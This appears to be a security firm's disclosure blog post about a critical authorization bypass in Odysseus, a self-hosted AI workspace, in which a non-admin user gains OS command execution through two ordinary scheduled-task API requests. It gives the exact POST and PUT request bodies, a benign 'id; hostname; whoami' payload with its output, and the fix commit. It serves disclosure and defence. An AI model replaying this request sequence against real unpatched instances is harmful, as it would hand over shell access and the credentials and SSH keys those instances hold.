TL;DR

  • What we found: Any authenticated non-admin user could execute OS commands with the privileges of the Odysseus process, by smuggling an admin-only shell action onto a scheduled task across two ordinary API requests. No admin rights, no can_use_bash privilege, no token.

  • That process holds the application's data and credentials: user password hashes and TOTP secrets, stored provider API keys, the database, and the SSH keys Odysseus uses to reach the remote machines it manages. Rated Critical (CVSS 3.1 9.9, AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) by the project’s advisory.

  • What it could have led to: on any instance with self-service signup or a second user, one account became a foothold — API keys to spend, a mailbox to send from, and SSH keys to the machines Odysseus manages, plus a scheduler to persist in. No evidence of exploitation before the fix.

  • Why it matters: Odysseus reached an audience far broader than the usual self-hosting crowd. A launch measured in millions of views put a credential-holding, command-executing application onto the machines of people who might be installing their first self-hosted service — where the operator is also the security team.

  • Versions through 1.0.1 are affected. Fixed in version 1.0.2 on GitHub (details below on how to upgrade).

On May 31, PewDiePie announced what he called his "trillion dollar project" Odysseus. Within 24 hours the video exploded surpassing 1.5M views and reached YCombinator’s Hacker News. The project has since drawn wide media coverage, creator walkthroughs, 3.4M+ views on the original video and, as of publication, 62K+ stars and 300+ contributors on GitHub.

But what is Odysseus? In short, it is a privacy-focused AI workspace. It provides users with an interface to talk to large language models. The capabilities span: chat, autonomous agents, tools, model serving, email, research, and more.

It also shipped with a flaw that handed a shell to anyone who could create an account. No admin rights, no shell privilege, two ordinary API calls. We found it independently and reported it to the project.

Want to see what agents actually do at runtime? Talk to Manifold.

The authorization gate and the scheduler check different things

Odysseus is multi-user and can run commands on its host, so its docs draw the line explicitly. THREAT_MODEL.md names "non-admins reaching admin-only capabilities" as something the design is meant to prevent, and its capability table withholds shell and Python execution from default non-admin accounts.

Roles and Capabilities
Capability Admin Non-admin (default)
Chat with agent
Browser tool
Documents
Research mode
Image generation
Memory management
Shell / Python execution
File read / write

Scheduled tasks let a user create a job the application runs later, on a schedule, a webhook, or a manual trigger. Most are benign, but three of the available actions (run_local, run_script, ssh_command) execute shell commands on the host and are admin-only, so a non-admin asking for one directly gets back 403 Action 'run_local' requires admin privileges.

Every task carries two relevant fields: task_type, the kind of job, and action, the built-in operation to run. Three pieces of code consulted those fields, and no two asked the same question.

Think of it as a form read by different clerks: some check only the boxes you ticked today, another acts on the whole file. Tick them in the right order across two visits and neither clerk ever sees a complete request worth refusing.

Stage Predicate
Create gate
(routes/task_routes.py)
the request's task_type == "action" and action is admin-only
Update gate
(routes/task_routes.py)
the request included an action field
Scheduler dispatch
(src/task_scheduler.py)
the stored task.task_type == "action"
Sink (src/builtin_actions.py) subprocess.run(script, shell=True)

Nothing asked whether the task, as it stood, would run a shell command. Each request was judged on the fields it happened to contain, while the scheduler dispatched on the state those requests left behind.

The bypass: two requests and a trigger

One. From a self-registered session (is_admin: false, can_use_bash: false), create the task as a research job with the shell action attached anyway. The create gate checked task_type, saw research, and never looked at action. create_task persisted the action column regardless.

POST /api/tasks
{"task_type": "research", "action": "run_local",
"prompt": "id; hostname; whoami", "trigger_type": "webhook"}

HTTP/1.1 200 OK
{"id": "<TASK_ID>", ...}

Two. Flip the dispatch type, sending only task_type. TaskUpdate.action defaulted to None, so the if req.action is not None guard was false and the admin check never ran, while task_type was reassigned with no gate at all.

PUT /api/tasks/<TASK_ID>
{"task_type": "action"}

HTTP/1.1 200 OK
{"task_type": "action", "action": "run_local"}

The task was now a shell-executing action task, with the run_local from the first call still attached.

Trigger, then read the output.

POST /api/tasks/<TASK_ID>/run
GET /api/tasks/<TASK_ID>/runs

uid=1000(odysseus) gid=1000(odysseus) groups=1000(odysseus)
de05b1a5e970
odysseus

uid=1000(odysseus) was the account the application ran as in our Docker reproduction. The semicolons in id; hostname; whoami were interpreted by /bin/sh, confirming shell=True, so pipes, redirection and command substitution worked the same way.

Neither call looked privileged to the gate that judged it.

Impact

Commands ran with the privileges of the Odysseus process, reaching the application's data, credentials, database, configuration, and any SSH keys or host resources available to it. The project's own threat model lists the absence of a shell and filesystem sandbox as a known gap, noting these tools run as the app process user with no egress filtering or filesystem confinement. Exactly how far that went depended on the installation method, container isolation, mounted paths and credentials present on the deployment.

The precondition was an account on the instance. A single-user deployment with signup disabled had nobody to abuse it. A team instance, or one with self-service registration on, effectively granted every account the admin's shell.

Disclosure and credit

Manifold Security independently reported the vulnerability to the Odysseus project on 8 June 2026 with a self-contained reproduction: a Docker Compose environment building the affected source with the auth boundary on and self-signup enabled, plus a script that registers a non-admin account, runs the negative control, executes the two-step bypass, and confirms execution as uid 1000.

Four other researchers, working independently, reported the same defect inside the first eight days of release. That convergence is the finding as much as the bug is – the mismatch was sitting in plain sight of everyone who looked. We gave the maintainers a heads up well in advance of publishing.

The project consolidated the reports into a single advisory. That advisory, GHSA-xwhc-f36c-v5vm, assesses the issue as Critical at CVSS 9.9 and remains unpublished at the time of writing, pending a CVE assignment from GitHub (draft advisories are not publicly viewable, so the link will resolve once the project publishes it). The remediation, however, is public and verifiable now.

The fix was merged on 5 July 2026 in PR #5235, tracked in issue #5233. It binds the authorization decision to the task's effective final (task_type, action) pair, revalidates persisted state at the resume, manual-run, webhook and scheduler-dispatch boundaries, and pauses existing privileged rows owned by non-admin users rather than executing them. The project publishes no tagged releases: security fixes land on the default branch, and dev receives them before the curated main. Version numbers are therefore a poor signal here: check that your deployment contains commit 2826dcfc, first present in source at 1.0.2.

How Manifold helps

AI workspaces do not just answer questions. They hold credentials, schedule work, and act on their own hours later, which is the point of running one. That creates a layer nothing else watches: EDR sees an application process spawning a shell, which is what a task runner is supposed to do, and the gateway sees an authenticated HTTPS session doing ordinary CRUD on a tasks API. Neither sees a non-admin account assembling a privileged job out of two unprivileged requests.

Manifold watches that layer: what agents actually do at runtime, not what their permissions say they can. That is where this class of bug becomes visible. Talk to Manifold.

SEE MANIFOLD IN ACTION

SEE MANIFOLD
IN ACTION

SEE MANIFOLD IN ACTION